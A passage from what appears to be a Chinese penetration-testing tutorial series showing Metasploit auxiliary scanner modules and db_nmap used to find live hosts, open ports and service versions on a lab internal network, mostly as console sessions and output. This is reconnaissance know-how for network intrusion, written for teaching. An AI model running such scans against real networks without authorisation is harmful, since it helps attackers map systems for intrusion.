[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
5、基于scanner/discovery/udp_sweep发现内网存活主机
msf auxiliary(scanner/discovery/udp_sweep) > show options
Module options (auxiliary/scanner/discovery/udp_sweep):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
BATCHSIZE 256 yes The number of hosts to probe in each set
RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier
THREADS 50 yes The number of concurrent threads
msf auxiliary(scanner/discovery/udp_sweep) > exploit
[*] Sending 13 probes to 192.168.1.0‐>192.168.1.255 (256 hosts)
[*] Discovered DNS on 192.168.1.1:53 (ce2a8500000100010000000007564552 53494f4e0442494e440000100003c00c0010000300000001001a19737572656c7920796f7
5206d757374206265206a6f6b696e67)
[*] Discovered NetBIOS on 192.168.1.2:137 (JOHN‐PC:<00>:U :WORKGROUP:<00>:G :JOHN‐PC:<20>:U :WORKGROUP:<1e>:G :WORKGROUP:<1d>:U
:__MSBROWSE__ <01>:G :4c:cc:6a:e3:51:27)
[*] Discovered NetBIOS on 192.168.1.119:137 (WIN03X64:<00>:U :WIN03X64:<20>:U :WORKGROUP:<00>:G :WORKGROUP:<1e>:G :WIN03X64:<03>:U
:ADMINISTRA TOR:<03>:U :WIN03X64:<01>:U :00:0c:29:85:d6:7d)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
https://micro8.gitbook.io/micro8/contents-1/21-30/23-ji-yu-msf-fa-xian-nei-wang-cun-huo-zhu-ji-di-yi-ji
攻击机: 192.168.1.5 Debian
靶机: 192.168.1.2 Windows 7
192.168.1.115 Windows 2003
192.168.1.119 Windows 2003
(1)主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/udp_sweep
auxiliary/scanner/ftp/ftp_version
auxiliary/scanner/http/http_version
auxiliary/scanner/smb/smb_version
(2)主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:
auxiliary/scanner/ssh/ssh_version
auxiliary/scanner/telnet/telnet_version
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/dns/dns_amp
auxiliary/scanner/mysql/mysql_version
6、基于auxiliary/scanner/ssh/ssh_version发现SSH服务
msf auxiliary(scanner/ssh/ssh_version) > show options
Module options (auxiliary/scanner/ssh/ssh_version):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier
RPORT 22 yes The target port (TCP)
THREADS 50 yes The number of concurrent threads
TIMEOUT 30 yes Timeout for the SSH probe
msf auxiliary(scanner/ssh/ssh_version) > exploit
[+] 192.168.1.5:22 ‐ SSH server version: SSH‐2.0‐OpenSSH_7.9p1 Debian‐5 ( service.version=7.9p1 openssh.comment=Debian‐5 service.vendor=OpenBSD
service.family=OpenSSH service.product=OpenSSH service.cpe23=cpe:/a:openb
sd:openssh:7.9p1 os.vendor=Debian os.family=Linux os.product=Linux os.cpe
23=cpe:/o:debian:debian_linux:‐ service.protocol=ssh fingerprint_db=ssh.banner )
[*] Scanned 52 of 256 hosts (20% complete)
[*] Scanned 95 of 256 hosts (37% complete)
[*] Scanned 100 of 256 hosts (39% complete)
[*] Scanned 103 of 256 hosts (40% complete)
[*] Scanned 131 of 256 hosts (51% complete)
[*] Scanned 154 of 256 hosts (60% complete)
[*] Scanned 180 of 256 hosts (70% complete)
[*] Scanned 206 of 256 hosts (80% complete)
[*] Scanned 235 of 256 hosts (91% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
7、基于auxiliary/scanner/telnet/telnet_version发现TELNET服务
msf auxiliary(scanner/telnet/telnet_version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
PASSWORD no The password for the specified username
RHOSTS 192.168.1.119 yes The target address range or CIDR identifier
RPORT 23 yes The target port (TCP)
THREADS 50 yes The number of concurrent threads
TIMEOUT 30 yes Timeout for the Telnet probe
USERNAME no The username to authenticate as
msf auxiliary(scanner/telnet/telnet_version) > exploit
[+] 192.168.1.119:23 ‐ 192.168.1.119:23 TELNET Welcome to Microsoft Telnet Service \x0a\x0a\x0dlogin:
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
8、基于scanner/discovery/udp_probe发现内网存活主机
msf auxiliary(scanner/discovery/udp_probe) > show options
Module options (auxiliary/scanner/discovery/udp_probe):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
CHOST no The local client address
RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier
THREADS 50 yes The number of concurrent threads
msf auxiliary(scanner/discovery/udp_probe) > exploit
[+] Discovered NetBIOS on 192.168.1.2:137 (JOHN‐PC:<00>:U :WORKGROUP:
<00>:G :JOHN‐PC:<20>:U :WORKGROUP:<1e>:G :WORKGROUP:<1d>:U
:__MSBROWSE__ <01>:G :4c:cc:6a:e3:51:27)
[+] Discovered DNS on 192.168.1.1:53 (de778500000100010000000007564552 53494f4e0442494e440000100003c00c0010000300000001001a19737572656c7920796f7
5206d757374206265206a6f6b696e67)
[*] Scanned 43 of 256 hosts (16% complete)
[*] Scanned 52 of 256 hosts (20% complete)
[*] Scanned 89 of 256 hosts (34% complete)
[+] Discovered NetBIOS on 192.168.1.119:137 (WIN03X64:<00>:U :WIN03X64:<20>:U :WORKGROUP:<00>:G :WORKGROUP:<1e>:G :WIN03X64:<03>:U
:ADMINISTRA TOR:<03>:U :WIN03X64:<01>:U :00:0c:29:85:d6:7d)
[*] Scanned 103 of 256 hosts (40% complete)
[*] Scanned 140 of 256 hosts (54% complete)
[*] Scanned 163 of 256 hosts (63% complete)
[*] Scanned 184 of 256 hosts (71% complete)
[*] Scanned 212 of 256 hosts (82% complete)
[*] Scanned 231 of 256 hosts (90% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
9、基于auxiliary/scanner/dns/dns_amp发现内网存活主机
msf auxiliary(scanner/dns/dns_amp) > show options
Module options (auxiliary/scanner/dns/dns_amp):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
BATCHSIZE 256 yes The number of hosts to probe in each set
DOMAINNAME isc.org yes Domain to use for the DNS request
FILTER no The filter string for capturing traffic
INTERFACE no The name of the interface
PCAPFILE no The name of the PCAP capture file to process
QUERYTYPE ANY yes Query type(A, NS, SOA, MX, TXT, AAAA, RRSIG, DNSKEY, ANY)
RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier
RPORT 53 yes The target port (UDP)
SNAPLEN 65535 yes The number of bytes to capture
THREADS 50 yes The number of concurrent threads
TIMEOUT 500 yes The number of seconds to wait for new data
msf auxiliary(scanner/dns/dns_amp) > exploit
[*] Sending DNS probes to 192.168.1.0‐>192.168.1.255 (256 hosts)
[*] Sending 67 bytes to each host using the IN ANY isc.org request
[+] 192.168.1.1:53 ‐ Response is 530 bytes [7.91x Amplification]
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
10、基于auxiliary/scanner/mysql/mysql_version发现mysql服务
msf auxiliary(scanner/mysql/mysql_version) > show options
Module options (auxiliary/scanner/mysql/mysql_version):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
RHOSTS 192.168.1.115 yes The target address range or CIDR identifier
RPORT 3306 yes The target port (TCP)
THREADS 50 yes The number of concurrent threads
msf auxiliary(scanner/mysql/mysql_version) > exploit
[+] 192.168.1.115:3306 ‐ 192.168.1.115:3306 is running MySQL 5.1.52‐community (protocol 10)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
https://micro8.gitbook.io/micro8/contents-1/21-30/24-ji-yu-msf-fa-xian-nei-wang-cun-huo-zhu-ji-di-er-ji
攻击机: 192.168.1.5 Debian 靶机: 192.168.1.2 Windows 7
192.168.1.115 Windows 2003
192.168.1.119 Windows 2003
(1)主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/udp_sweep
auxiliary/scanner/ftp/ftp_version
auxiliary/scanner/http/http_version
auxiliary/scanner/smb/smb_version
(2)主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:
auxiliary/scanner/ssh/ssh_version
auxiliary/scanner/telnet/telnet_version
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/dns/dns_amp
auxiliary/scanner/mysql/mysql_version
(3)主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:
auxiliary/scanner/netbios/nbname
auxiliary/scanner/http/title
auxiliary/scanner/db2/db2_version
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/tcp
11、基于auxiliary/scanner/netbios/nbname发现内网存活主机
msf auxiliary(scanner/netbios/nbname) > show options
Module options (auxiliary/scanner/netbios/nbname):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
BATCHSIZE 256 yes The number of hosts to probe in each set
RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier
RPORT 137 yes The target port (UDP)
THREADS 50 yes The number of concurrent threads
msf auxiliary(scanner/netbios/nbname) > exploit
[*] Sending NetBIOS requests to 192.168.1.0‐>192.168.1.255 (256 hosts)
[+] 192.168.1.2 [JOHN‐PC] OS:Windows Names:(JOHN‐PC, WORKGROUP, __MSBROWSE__) Addresses:(192.168.1.2, 192.168.163.1, 192.168.32.1)Mac:4c:cc:6a:e3:51:27
[+] 192.168.1.115 [VM_2003X86] OS:Windows Names:(VM_2003X86,WORKGROUP) Addresses:(192.168.1.115) Mac:00:0c:29:af:ce:cc Virtual Machine:VMWare
[+] 192.168.1.119 [WIN03X64] OS:Windows User:ADMINISTRATOR Names:(WIN03X64, WORKGROUP, ADMINISTRATOR) Addresses:(192.168.1.119)Mac:00:0c:29:85:d6:7d Virtual Machine:VMWare
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
12、基于auxiliary/scanner/http/title发现内网存活主机
msf auxiliary(scanner/http/title) > show options
Module options (auxiliary/scanner/http/title):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
Proxies no A proxy chain of format type:host:port[,type:host:port] [...]
RHOSTS 192.168.1.115,119 yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SHOW_TITLES true yes Show the titles on the console as they are grabbed
SSL false no Negotiate SSL/TLS for outgoing connections
STORE_NOTES true yes Store the captured information in notes. Use "no tes‐t http.title" to view
TARGETURI / yes The base path
THREADS 50 yes The number of concurrent threads
msf auxiliary(scanner/http/title) > exploit
[*] [192.168.1.115:80] [C:200] [R:] [S:Microsoft‐IIS/6.0] 协同管理系统
[*] Scanned 2 of 2 hosts (100% complete)
[*] Auxiliary module execution completed
13、基于auxiliary/scanner/db2/db2_version发现db2服务
msf auxiliary(scanner/http/title) > use auxiliary/scanner/db2/db2_version
msf auxiliary(scanner/db2/db2_version) > show options
Module options (auxiliary/scanner/db2/db2_version):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
DATABASE toolsdb yes The name of the target database
RHOSTS 192.168.1.0/24 yes The target address range or CIDR identifier
RPORT 50000 yes The target port (TCP)
THREADS 50 yes The number of concurrent threads
TIMEOUT 5 yes Timeout for the DB2 probe
msf auxiliary(scanner/db2/db2_version) > exploit
14、基于auxiliary/scanner/portscan/ack发现内网存活主机
msf auxiliary(scanner/portscan/ack) > show options
Module options (auxiliary/scanner/portscan/ack):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
BATCHSIZE 256 yes The number of hosts to scan per set
DELAY 0 yes The delay between connections, per thread, in milliseconds
INTERFACE no The name of the interface
JITTER 0 yes The delay jitter factor (maximum value by which to +/‐ DELAY) in milliseconds.
PORTS 445 yes Ports to scan (e.g. 22‐25,80,110‐900)
RHOSTS 192.168.1.115,119 yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 50 yes The number of concurrent threads
TIMEOUT 500 yes The reply read timeout in milliseconds
msf auxiliary(scanner/portscan/ack) > exploit
[*] TCP UNFILTERED 192.168.1.115:445
[*] TCP UNFILTERED 192.168.1.119:445
[*] Scanned 2 of 2 hosts (100% complete)
[*] Auxiliary module execution completed
15、基于auxiliary/scanner/portscan/tcp发现内网存活主机
msf auxiliary(scanner/portscan/tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
CONCURRENCY 10 yes The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, in milliseconds
JITTER 0 yes The delay jitter factor (maximum value by which to +/‐ DELAY) in milliseconds.
PORTS 445 yes Ports to scan (e.g. 22‐25,80,110‐900)
RHOSTS 192.168.1.115,119,2 yes The target address range or CIDR identifier
THREADS 50 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds
msf auxiliary(scanner/portscan/tcp) > exploit
[+] 192.168.1.2: ‐ 192.168.1.2:445 ‐ TCP OPEN
[*] Scanned 1 of 3 hosts (33% complete)
[+] 192.168.1.119: ‐ 192.168.1.119:445 ‐ TCP OPEN
[+] 192.168.1.115: ‐ 192.168.1.115:445 ‐ TCP OPEN
[*] Scanned 3 of 3 hosts (100% complete)
[*] Auxiliary module execution completed
https://micro8.gitbook.io/micro8/contents-1/21-30/25-ji-yu-msf-fa-xian-nei-wang-cun-huo-zhu-ji-di-san-ji
攻击机: 192.168.1.5 Debian
靶机: 192.168.1.2 Windows 7
192.168.1.115 Windows 2003
192.168.1.119 Windows 2003
(1)主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/udp_sweep
auxiliary/scanner/ftp/ftp_version
auxiliary/scanner/http/http_version
auxiliary/scanner/smb/smb_version
(2)主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:
auxiliary/scanner/ssh/ssh_version
auxiliary/scanner/telnet/telnet_version
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/dns/dns_amp
auxiliary/scanner/mysql/mysql_version
(3)主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:
auxiliary/scanner/netbios/nbname
auxiliary/scanner/http/title
auxiliary/scanner/db2/db2_version
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/tcp
(4)主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:
auxiliary/scanner/portscan/syn
auxiliary/scanner/portscan/ftpbounce
auxiliary/scanner/portscan/xmas
auxiliary/scanner/rdp/rdp_scanner
auxiliary/scanner/smtp/smtp_version
16、基于auxiliary/scanner/portscan/syn发现内网存活主机
msf auxiliary(scanner/portscan/syn) > show options
Module options (auxiliary/scanner/portscan/syn):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
BATCHSIZE 256 yes The number of hosts to scan per set
DELAY 0 yes The delay between connections, per thread, in millisecond s
INTERFACE no The name of the interface
JITTER 0 yes The delay jitter factor (maximum value by which to +/‐ DELAY) in milliseconds.
PORTS 445 yes Ports to scan (e.g. 22‐25,80,110‐900)
RHOSTS 192.168.1.115 yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 50 yes The number of concurrent threads
TIMEOUT 500 yes The reply read timeout in milliseconds
msf auxiliary(scanner/portscan/syn) > exploit
[+] TCP OPEN 192.168.1.115:445
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
17、基于auxiliary/scanner/portscan/ftpbounce发现内网存活主机
msf auxiliary(scanner/portscan/ftpbounce) > show options
Module options (auxiliary/scanner/portscan/ftpbounce):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
BOUNCEHOST 192.168.1.119 yes FTP relay host
BOUNCEPORT 21 yes FTP relay port
DELAY 0 yes The delay between connections, per thread, in millisecond s
FTPPASS mozilla@example.com no The password for the specified usernam e
FTPUSER anonymous no The username to authenticate as
JITTER 0 yes The delay jitter factor (maximum value by which to +/‐ DELAY) in milliseconds.
PORTS 22‐25 yes Ports to scan (e.g. 22‐25,80,110‐900)
RHOSTS 192.168.1.119 yes The target address range or CIDR identifier
THREADS 50 yes The number of concurrent threads
msf auxiliary(scanner/portscan/ftpbounce) > exploit
[+] 192.168.1.119:21 ‐ TCP OPEN 192.168.1.119:22
[+] 192.168.1.119:21 ‐ TCP OPEN 192.168.1.119:23
[+] 192.168.1.119:21 ‐ TCP OPEN 192.168.1.119:24
[+] 192.168.1.119:21 ‐ TCP OPEN 192.168.1.119:25
[*] 192.168.1.119:21 ‐ Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
18、基于auxiliary/scanner/portscan/xmas发现内网存活主机
msf auxiliary(scanner/portscan/xmas) > show options
Module options (auxiliary/scanner/portscan/xmas):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
BATCHSIZE 256 yes The number of hosts to scan per set
DELAY 0 yes The delay between connections, per thread, in millisecond s
INTERFACE no The name of the interface
JITTER 0 yes The delay jitter factor (maximum value by which to +/‐ DELAY) in milliseconds.
PORTS 80 yes Ports to scan (e.g. 22‐25,80,110‐900)
RHOSTS 192.168.1.119 yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 50 yes The number of concurrent threads
TIMEOUT 500 yes The reply read timeout in milliseconds
msf auxiliary(scanner/portscan/xmas) > exploit
19、基于auxiliary/scanner/rdp/rdp_scanner发现内网存活主机
msf auxiliary(scanner/rdp/rdp_scanner) > show options
Module options (auxiliary/scanner/rdp/rdp_scanner):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
CredSSP true yes Whether or not to request CredSSP
EarlyUser false yes Whether to support Earlier User Authorization Result PDU
RHOSTS 192.168.1.2,115,119 yes The target address range or CIDR identifier
RPORT 3389 yes The target port (TCP)
THREADS 50 yes The number of concurrent threads
TLS true yes Wheter or not request TLS security
msf auxiliary(scanner/rdp/rdp_scanner) > exploit
[*] Scanned 1 of 3 hosts (33% complete)
[+] 192.168.1.115:3389 ‐ Identified RDP
[*] Scanned 2 of 3 hosts (66% complete)
[+] 192.168.1.119:3389 ‐ Identified RDP
[*] Scanned 3 of 3 hosts (100% complete)
[*] Auxiliary module execution completed
20、基于auxiliary/scanner/smtp/smtp_version发现内网存活主机
msf auxiliary(scanner/smtp/smtp_version) > show options
Module options (auxiliary/scanner/smtp/smtp_version):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
RHOSTS 192.168.1.5 yes The target address range or CIDR identifier
RPORT 25 yes The target port (TCP)
THREADS 50 yes The number of concurrent threads
msf auxiliary(scanner/smtp/smtp_version) > exploit
https://micro8.gitbook.io/micro8/contents-1/21-30/26-ji-yu-msf-fa-xian-nei-wang-cun-huo-zhu-ji-di-si-ji
攻击机:
192.168.1.102 Debian
靶机:
192.168.1.2 Windows 7
192.168.1.115 Windows 2003
192.168.1.119 Windows 2003
(1)主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/udp_sweep
auxiliary/scanner/ftp/ftp_version
auxiliary/scanner/http/http_version
auxiliary/scanner/smb/smb_version
(2)主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:
auxiliary/scanner/ssh/ssh_version
auxiliary/scanner/telnet/telnet_version
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/dns/dns_amp
auxiliary/scanner/mysql/mysql_version
(3)主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:
auxiliary/scanner/netbios/nbname
auxiliary/scanner/http/title
auxiliary/scanner/db2/db2_version
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/tcp
(4)主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:
auxiliary/scanner/portscan/syn
auxiliary/scanner/portscan/ftpbounce
auxiliary/scanner/portscan/xmas
auxiliary/scanner/rdp/rdp_scanner
auxiliary/scanner/smtp/smtp_version
(5)主要介绍scanner下的三个模块,以及db_nmap辅助发现内网存活主机,分别为:
auxiliary/scanner/pop3/pop3_version
auxiliary/scanner/postgres/postgres_version
auxiliary/scanner/ftp/anonymous
db_nmap
21、基于auxiliary/scanner/pop3/pop3_version发现内网存活主机
msf auxiliary(scanner/pop3/pop3_version) > show options
Module options (auxiliary/scanner/pop3/pop3_version):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
RHOSTS 192.168.1.110‐120 yes The target address range or CIDR identifier
RPORT 110 yes The target port (TCP)
THREADS 50 yes The number of concurrent threads
msf auxiliary(scanner/pop3/pop3_version) > exploit
[*] Scanned 5 of 11 hosts (45% complete)
[*] Scanned 11 of 11 hosts (100% complete)
[*] Auxiliary module execution completed
22、基于auxiliary/scanner/postgres/postgres_version发现内网存活主机
msf auxiliary(scanner/postgres/postgres_version) > show options
Module options (auxiliary/scanner/postgres/postgres_version):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
DATABASE template1 yes The database to authenticate against
PASSWORD msf no The password for the specified username. Leave blank for a random password.
RHOSTS 127.0.0.1 yes The target address range or CIDR identifier
RPORT 5432 yes The target port
THREADS 50 yes The number of concurrent threads
USERNAME msf yes The username to authenticate as
VERBOSE false no Enable verbose output
msf auxiliary(scanner/postgres/postgres_version) > exploit
[*] 127.0.0.1:5432 Postgres ‐ Version PostgreSQL 9.6.6 on x86_64‐pc‐li
nux‐gnu, compiled by gcc (Debian 4.9.2‐10) 4.9.2, 64‐bit (Post‐Auth)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
23、基于auxiliary/scanner/ftp/anonymous发现内网存活主机
msf auxiliary(scanner/ftp/anonymous) > show options
Module options (auxiliary/scanner/ftp/anonymous):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
FTPPASS mozilla@example.com no The password for the specified username
FTPUSER anonymous no The username to authenticate as
RHOSTS 192.168.1.100‐120 yes The target address range or CIDR identifier
RPORT 21 yes The target port (TCP)
THREADS 50 yes The number of concurrent threads
msf auxiliary(scanner/ftp/anonymous) > exploit
[+] 192.168.1.115:21 ‐ 192.168.1.115:21 ‐ Anonymous READ (220 Slyar Ftpserver)
[+] 192.168.1.119:21 ‐ 192.168.1.119:21 ‐ Anonymous READ (220 FTPserver)
[*] Scanned 3 of 21 hosts (14% complete)
[*] Scanned 6 of 21 hosts (28% complete)
[*] Scanned 17 of 21 hosts (80% complete)
[*] Scanned 21 of 21 hosts (100% complete)
[*] Auxiliary module execution completed
24、基于db_nmap发现内网存活主机
MSF内置强大的端口扫描工具Nmap,为了更好的区别,内置命令为:db_nmap,并且会自动存储nmap扫描结果到数据库中,方便快速查询已知存活主机,以及更快捷的进行团队协同作战,使用方法与nmap一致。也是在实战中最常用到的发现内网存活主机方式之一
例:
msf exploit(multi/handler) > db_nmap ‐p 445 ‐T4 ‐sT 192.168.1.115‐120
‐‐open
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019‐02‐17 15:17 EST
[*] Nmap: Nmap scan report for 192.168.1.115
[*] Nmap: Host is up (0.0025s latency).
[*] Nmap: PORT STATE SERVICE
[*] Nmap: 445/tcp open microsoft‐ds
[*] Nmap: MAC Address: 00:0C:29:AF:CE:CC (VMware)
[*] Nmap: Nmap scan report for 192.168.1.119
[*] Nmap: Host is up (0.0026s latency).
[*] Nmap: PORT STATE SERVICE
[*] Nmap: 445/tcp open microsoft‐ds
[*] Nmap: MAC Address: 00:0C:29:85:D6:7D (VMware)
[*] Nmap: Nmap done: 6 IP addresses (2 hosts up) scanned in 13.35 seconds
msf exploit(multi/handler) > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
‐‐‐‐‐‐‐ ‐‐‐ ‐‐‐‐ ‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐ ‐‐‐‐‐‐‐ ‐‐‐‐ ‐‐‐‐‐‐‐‐
1.34.37.188 firewall
10.0.0.2 00:24:1d:dc:3b:16
10.0.0.3 00:e0:81:bf:b9:7b
10.0.0.4 00:30:6e:ca:10:b8
10.0.0.5 9c:8e:99:c4:63:74 2013XXXXX Windows 2008 SP1 client
...
10.0.0.242 00:13:57:01:d4:71
10.0.0.243 00:13:57:01:d4:73
....
10.162.110.30 firewall
59.125.110.178 firewall
127.0.0.1 Unknown device
172.16.204.8 WIN‐6FEAACQJ691 Windows 2012 server
172.16.204.9 WIN‐6FEAACQJ691 Windows 2012 server
172.16.204.21 IDS Windows 2003 SP2 server
192.168.1.5 JOHN‐PC Windows 7 SP1 client
192.168.1.101 JOHN‐PC Windows 7 Ultimate SP1 client
192.168.1.103 LAPTOP‐9994K8RP Windows 10 client
192.168.1.115 00:0c:29:af:ce:cc VM_2003X86 Windows 2003 SP2 server
192.168.1.116 WIN‐S4H51RDJQ3M Windows 2012 server
192.168.1.119 00:0c:29:85:d6:7d WIN03X64 Windows 2003 SP2 server
192.168.1.254 Unknown device
192.168.50.30 WINDOWS‐G4MMTV8 Windows 7 SP1 client
192.168.100.2 Unknown device
192.168.100.10
同样hosts命令也支持数据库中查询与搜索,方便快速对应目标存活主机
msf exploit(multi/handler) > hosts ‐h
Usage: hosts [ options ] [addr1 addr2 ...]
OPTIONS:
‐a,‐‐add Add the hosts instead of searching
‐d,‐‐delete Delete the hosts instead of searching
‐c <col1,col2> Only show the given columns (see list below)
‐C <col1,col2> Only show the given columns until the next restart (see list below)
‐h,‐‐help Show this help information
‐u,‐‐up Only show hosts which are up
‐o <file> Send output to a file in csv format
‐O <column> Order rows by specified column number
‐R,‐‐rhosts Set RHOSTS from the results of the search
‐S,‐‐search Search string to filter by
‐i,‐‐info Change the info of a host
‐n,‐‐name Change the name of a host
‐m,‐‐comment Change the comment of a host
‐t,‐‐tag Add or specify a tag to a range of hosts
msf exploit(multi/handler) > hosts ‐S 192
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
‐‐‐‐‐‐‐ ‐‐‐ ‐‐‐‐ ‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐ ‐‐‐‐‐‐‐ ‐‐‐‐ ‐‐‐‐‐‐‐‐
192.168.1.5 JOHN‐PC Windows 7 SP1 client
192.168.1.101 JOHN‐PC Windows 7 Ultimate SP1 client
192.168.1.103 LAPTOP‐9994K8RP Windows 10 client
192.168.1.115 00:0c:29:af:ce:cc VM_2003X86 Windows 2003 SP2 server
192.168.1.116 WIN‐S4H51RDJQ3M Windows 2012 server
192.168.1.119 00:0c:29:85:d6:7d WIN03X64 Windows 2003 SP2 server
192.168.1.254 Unknown device
192.168.50.30 WINDOWS‐G4MMTV8 Windows 7 SP1 client
192.168.100.2 Unknown device
192.168.100.10
https://micro8.gitbook.io/micro8/contents-1/21-30/27-ji-yu-msf-fa-xian-nei-wang-cun-huo-zhu-ji-di-wu-ji
攻击机:
192.168.1.102 Debian
靶机:
192.168.1.2 Windows 7
192.168.1.115 Windows 2003
192.168.1.119 Windows 2003
(1)主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/udp_sweep
auxiliary/scanner/ftp/ftp_version
auxiliary/scanner/http/http_version
auxiliary/scanner/smb/smb_version
(2)主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为:
auxiliary/scanner/ssh/ssh_version
auxiliary/scanner/telnet/telnet_version
auxiliary/scanner/discovery/udp_probe
